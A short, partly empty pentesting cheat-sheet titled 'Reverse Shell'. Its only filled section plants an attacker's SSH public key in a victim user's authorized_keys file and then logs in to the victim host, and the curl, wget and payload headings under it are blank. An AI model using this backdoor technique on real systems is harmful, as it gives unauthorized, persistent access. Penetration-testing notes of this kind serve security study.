# Reverse Shell

## SSH

### authorized\_keys file

First, in attacker machine we need to generate the keys:

```bash
ssh-keygen 
```

Two files are generated, `id_rsa` (private key) and `id_rsa.pub` (public key).

Copy the `id_rsa.pub` content and paste it in the victim file:`/home/<user>/.ssh/authorized_keys`

```bash
echo "<ID_RSA.PUB_CONTENT>" >> /home/carlitos/.ssh/authorized_keys
```

And finally, try to enter the victim machine:

```bash
ssh carlitos@10.10.10.10
```

## curl



## wget



## Format payload

